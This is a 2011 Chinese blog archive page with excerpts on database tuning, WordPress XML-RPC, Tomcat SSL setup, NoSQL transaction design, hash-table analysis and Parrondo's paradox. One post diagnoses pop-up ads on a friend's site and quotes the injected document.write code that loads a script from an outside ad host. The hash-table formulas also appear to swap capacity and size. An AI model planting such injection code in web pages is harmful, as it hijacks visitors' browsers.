博文

目前显示的是 七月, 2011的博文

我承认这是一个炫耀帖

最近几天在帮一个朋友做一套LAMP系统的优化,蛮爽的。数据库服务器,优化前负载在2.0-3.0左右,优化后在0.1-0.5左右。硬盘写入量则从之前的每秒10MB/s左右降低到300KB/s左右。数据库搞完之后就去搞前端机。前端机(nginx+php)的处于ESTABLISHED状态的连接特别多,请求处理的比预想的要慢很多,最终发现有一个函数占了97%的wall time,然后发现这个函数的结果是应当被cache的,而不是每次都去计算。研发和运营的脱节往往是来自于人与人之间的矛盾、部门间的利益冲突,所以据我观察,小公司就做的非常好。突然有个疑问,memcache的意义在于哪里? 按我的理解,如果数据库服务器的内存条还没插满,应该首先把它插满,而不是急着搞分布式缓存。按现在的机器硬件配置,128G的内存,小轻松吧?那么这个数据库的数据量,怎么着也上T了吧?够了吧?尤其对于大多数startup公司来说,业务根本做不了那么大。

Windows Live Writer真是很奇怪

Wordpress的rpc xml接口默认支持5种API<api name="WordPress" blogID="1" preferred="true" apiLink="http://snn1.sinaapp.com/xmlrpc.php" />
<api name="Movable Type" blogID="1" preferred="false" apiLink="http://snn1.sinaapp.com/xmlrpc.php" />
<api name="MetaWeblog" blogID="1" preferred="false" apiLink="http://snn1.sinaapp.com/xmlrpc.php" />
<api name="Blogger" blogID="1" preferred="false" apiLink="http://snn1.sinaapp.com/xmlrpc.php" />
<api name="Atom" blogID="" preferred="false" apiLink="https://snn1.sinaapp.com/wp-app.php/service" />Windows Live Writer检测到是Wordpress后,会按照这样的顺序调用blogger.getUsersBlogsGET /wp-includes/wlwmanifest.xml HTTP/1.1\r\nwp.getCategories
wp.getTagsmetaWeblog.getRecentPosts
metaWeblog.newPost
mt.setPostCategories
mt.getPostCategoriesblogger.deletePost也就是说,它故意要把…

更换了本网站的ssl证书

以前的证书到期了,今天更换了一下。这次没有用openssl管理密钥,而是jdk的keytool。D:\jdk32\bin\keytool -genkey -keysize 4096 -validity 730 -keyalg RSA -sigalg SHA256withRSA
D:\jdk32\bin\keytool -certreq -file mykey.csrD:\jdk32\bin\keytool -importcert -trustcacerts -file mykey.crt比较恶心的是,keytool导出证书的时候,不把私钥给我。想要私钥,据说得自己写程序导。tomcat我把apr去掉了,本来就只是一个小网站,不想让jni再给自己增加维护负担。现在我用的是org.apache.coyote.http11.Http11NioProtocol。按文档来说,Connector有这么4个属性来配置证书:"keyAlias、keyPass、keystoreFile、keystorePass"。我配置好之后,启动总是报告“java.security.UnrecoverableKeyException: Cannot recover key”。我说,既然SSL不能用,那你别在443上监听啊。现象是,能连,在等服务器给response,然后无限等待下去。然后服务器上大量的这种ESTABLISHED但是僵死的链接。`网上说,keyPass和keystorePass必须一样。于是我用keytool把它们改成一样之后,果然好了。这算BUG吗?

今天帮人查了一个网站弹恶意广告的事情

我一个朋友的网站,http://www.ccedu24.com/,打开的时候偶尔会弹出taobao商城的广告。他抓头挠腮的很急,不知道怎么办。我开始以为是中木马了,他问是不是把所有文件的写入权限都关了就行了?后来我仔细看了一下,是这样:它首页会调用一些本地的js,如/js/Common.js、/js/login.js。正确的情况下,应该是先输出这样的http头,HTTP/1.1 200 OK
Content-Type: application/x-javascript
Content-Encoding: gzip
Last-Modified: Sun, 22 Aug 2010 11:08:18 GMT
Accept-Ranges: bytes
ETag: "0fdf252ea41cb1:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
Date: Wed, 13 Jul 2011 05:20:36 GMT
Content-Length: 1916然后输出js的内容。但是在偶尔,会变成这样:HTTP/1.1 200 OK
Content-Type: text/html
Accept-Ranges: bytes
Connection: closedocument.write("<script language='javascript' src='http://hub.izptech.com/re/re.php?src=t0036&t=" + encodeURIComponent(document.title)+"'><\/script>"); document.write("<script language='javascript' src='http://www.ccedu24.com/js/Common.js?tqs=20101206'><\/script>"); 原始的js内容会被替换成两条document.write语句,一条指向被…

那个NoSQL数据库的实现上的一些想法

最后,放弃了JNI的方式,因为JNI的接口太恶心了。我决定先实现一个纯JAVA的先用着,除非发现效率不够我预期,否则就不换了。为啥呢? 我不就是要个简单嘛。为了简单,我更简单的是也不搞数据目录、日志目录了,整个数据库就两个文件,数据文件和日志文件。数据文件的第一个页面里面是meta info,存着table name-> tables root page number,以及其它的一些信息。至于并发控制,我想尽力避免表锁。按最原始的思路,每个table都是Map,Map里面存放的是value的指针或者引用。那么value还会存放其它类型的成员变量,以及Collections。那么,最原始的想法,就是每个自定义的类型,都有一个版本号和一把锁,每个table都有一个表锁。那么insert/delete语句会需要表锁。select呢?select其实也需要。因为我首先要读这个Map,然后从这个Map中查数据。那么就需要Map的version,以及所获得的记录的version。最后提交的时候,如果要达到serializable的隔离度,那么就需要重新检查这个Map的version。我想把这个表锁去掉。换一个思路。假设我现在有一个大的Object Pool,里面有很多对象,每个对象的初始值都是null。这里所说的对象,其实只有一种类型Map.Entry\。每个对象有一个唯一标识符,(tablename,Key)。insert操作可视为把一个null的对象改成非null,delete则是反过来。那么get操作无论是否拿到了想要的数据(无论是否返回null),最终Commit的时候都再去检查一次,null是否依然是null,etc。本来想的很好,但是这样有一个漏洞,对于null,因为它是空,所以我没有地方存版本号,所以就必须假设它的版本是0。可惜,对于delete操作,应当增加Object的版本号,而不是把Object的版本号重置为0。所以这里是有问题的。可以考虑一种补救的措施,在某个点,禁止所有事务运行,然后重置版本号。所以delete操作只有在这个点的时候,才真正的删除数据,否则把key挪到一个新的Map里面,叫deletedItems,value是version,get操作在返回null的同时也要返回这个version。在重置版本号的时候,如果我不是重置所有的版本号,…

一个非常简单的支持事务的NoSQL数据库的实现

目标:每秒10万次以上的事务。无死锁。实现简单。单进程,多线程。不搞分布式。并发冲突的粒度小,至少是行级。一个database由很多table组成,每个table都是Map\这样的接口。上下可以分为2层,上面是事务及Cache层,下面是Storage层。我本来打算用 Berkeley DB 1.8做Storage,但是为了实现事务,就必须保证对文件的修改是原子的,那么就必须在现在的基础上加上日志的功能。此时不必对 Berkeley DB本身的存储引擎(Btree、Hash)做修改,只需要修改它的cache层,也就是mpool的代码就可以了。这里所需要的原子性,就是把事务层的脏数据,能够原子化的刷到硬盘上。而且,这个flush的操作,是由一个专门的线程来做,所以不可能两个并行做。假设这个flush操作的最高频率是每秒一次。实现方式是采用write-ahread logging的方式,在修改数据文件之前必须先写日志文件。日志有两种实现方式: redo logging和undo logging。(虽然我说不出哪种更好一些,但是我现在倾向于做undo logging)1、redo: 在执行整个原子操作的过程中,不能写硬盘。在全部执行完之后,检查脏页,把脏页先写日志文件,再写数据文件。也就是说,记录的是After Image。这是我们之前的做法。优点是很容易做replication,具体实现非常类似于Mysql。每个server有一个唯一的server-id,每个server要么是master,要么是slave。Master多监听一个端口,Slave来这个端口拉Log。master先把日志吐到硬盘上,然后 slave来master这里pull。拿到 的日志先写内存,然后做redo。slave要定期做全 备份。 假设master只能有一个,slave可以有多个。master得维护slave的状态。slave得 向master报告说它做到哪了 (redo做到什么时间点了)。master要根据这个信息来 调整现有的日志清理策略。 全备份可以统统放在slave上做,master别做了。2、undo:日志文件不再按page size切成一块一块的。flush开始时,把当前时间点写入到日志文件中(精确到毫秒)。然后开始做各种更新操作,对每个页面的读写采用COW的方式保留前像,每个页面…

2011-07-04

我在看multiverse STM的源代码,但是他的作者,Peter Veentjer,最近突然销声匿迹了,博客快一年不更新了,代码也有近乎半年不更新了。后来在linkedin上找到了他,发现他貌似是换工作了,今年5月去了一个创业公司,Typesafe。然后我查了一下,发现很有意思。Typesafe是今年创办的,他的CEO是Martin Odersky,Scala语言的创建人。Martin Odersky的博导是Niklaus Wirth,是Niklaus Wirth发明了Pascal语言。Philippe Kahn也是Niklaus Wirth的学生,创办了Borland,而Martin Odersky还曾是Borland的员工。这些人的创造力真是让我惊叹啊!!!Typesafe现在的主营业务是给Scala、Akka做技术支持。Akka是他们的CTO之前搞的一套程序框架,基于JAVA和Scala的。Akka的一个亮点就是它也提供了STM方式的编程模式,而它的STM是在multiverse的基础上做的。我猜是因为这个,所以他们就把Peter Veentjer也拉进去了。

关于separate chaining的Hash Table的一些分析

bdb 1.8x中用一个hash map来索引内存中Page。(代码在http://svn.freebsd.org/base/head/lib/libc/db/mpool/mpool.c)。这是一个静态hash,bucket的数量是固定大小。因为我准备拿这种数据结构给游戏做玩家数据的cache管理,因为首先,游戏的单服在线人数很容易预估,其次,静态hash的并发版本更容易实现。假设这个Hash Table的capacity(bucket的数量)是m, size(元素的数量)是n。那么很容易算出,每个链表的长度(每个bucket中元素的个数)的数学期望是\(\frac{m}{n}\)。假设是为了查找一个存在的元素,那么这个元素所在的bucket中,除了它自己之外,其它元素的个数的数学期望是\(\frac{m-1}{n}\),所以总长度是\(1+\frac{m-1}{n}\)。如果将\(\frac{m}{n}\)定于为load factor,那么对于一个capacity会动态增长的hash table来说,为了查找一个就在其中的元素,它的平均查找时间是一个常数(因为hash function所需要花的时间也是常数)。查找时间的下限很容易计算,那么上限呢?假设hash function很完美,以等可能的把元素分配到每个bucket中,那么,n个元素插入的过程就是n次独立重复试验,所以链表的长度恰好符合二项分布,当n比较大的时候,可以用泊松分布来模拟二项分布。假设load factor=1,最终可以得出,对于充分大的n,链表的最大长度至少以\(1-\frac{1}{n}\)的概率至少为\(\frac{\ln{n}}{\ln{\ln{n}}}\)。比如当table size等于1百万的时候,链表的最大长度以99.9999%的概率大于等于6。实际上测试的结果,发现这个估计过于乐观。测试代码:publicstaticvoidmain(String[] args)throws Exception { Random r = new Random(); for (int length = 64; length <= 1048576; length *= 2) { int[] bucket = newint[length]; for…

随机

最近看了很多nonblocking算法,它们都有一个特点,很多之前需要上锁的地方,现在被一个while(true)包起来。总体来说,对于冲突的发生概率,始终持一个很乐观的态度。乐观背后的含义就是说我不强求每次执行都能得到我想要的结果,大部分时候它都能,以非常低的概率,它会失败,此时重试一遍就好。很多随机化算法的目的在于打破对称性,所以有时候一个简单的随机的sleep就能让吞吐量上升很多。我在想随机化算法在并行编程中应该能找到很多很有趣的应用场景。昨天晚上快睡觉的时候看了一会儿Parrondo悖论,蛮有意思的,在这分享一下。大家都知道,老虎机这样的东西,通俗来说你玩的越多,你输的越多。那么有没有可能交替的玩两个对我来说是“输”的游戏,但是实际会产生一个“赢”的结果?假设我是一个玩家,先看Game1:掷硬币。正面向上就赢一块钱,反面向上就输一块钱。可惜这个硬币并非制造的那么完美的硬币,它的质量分布略微有些不均等,所以导致它正面向上的概率是 0.49,反面向上的概率是0.51。很明显,这是一个对我不利的游戏。我不玩。于是庄家为我设计了Game2: 现在换成了两个硬币。硬币b和c。如果从开始玩到现在,我赢得的钱数是3的倍数,那么扔硬币b,否则扔硬币c。其中硬币b以0.09的概率出现正面,硬币c以0.74的概率出现正面。表面上来看,我赢的概率是\(\frac{1}{3}*0.09+\frac{2}{3}*0.74=\frac{157}{300} \gt \frac{1}{2}\),实际上不能假定”我赢的的钱数是3的倍数”这个事件出现的概率是\(\frac{1}{3}\),因为这是一个结果,而不是一个独立的基本事件。实际上这个概率的计算过程非常非常复杂,实际上算出来结果是小于\(\frac{1}{2}\).有意思的是,如果把这两个Game组合起来得到Game3:拿一个硬币d,它是均匀的,所以正面向上的概率是50%。每次先扔硬币d,假如它正面向上,那么进行Game1,否则进行Game2。最终算出来的结果是,这两个“输”的游戏被组合成了一个“赢”的游戏。我觉得,要点是,“从开始玩到现在,我赢得的钱数是3的倍数”这个事件的概率变了。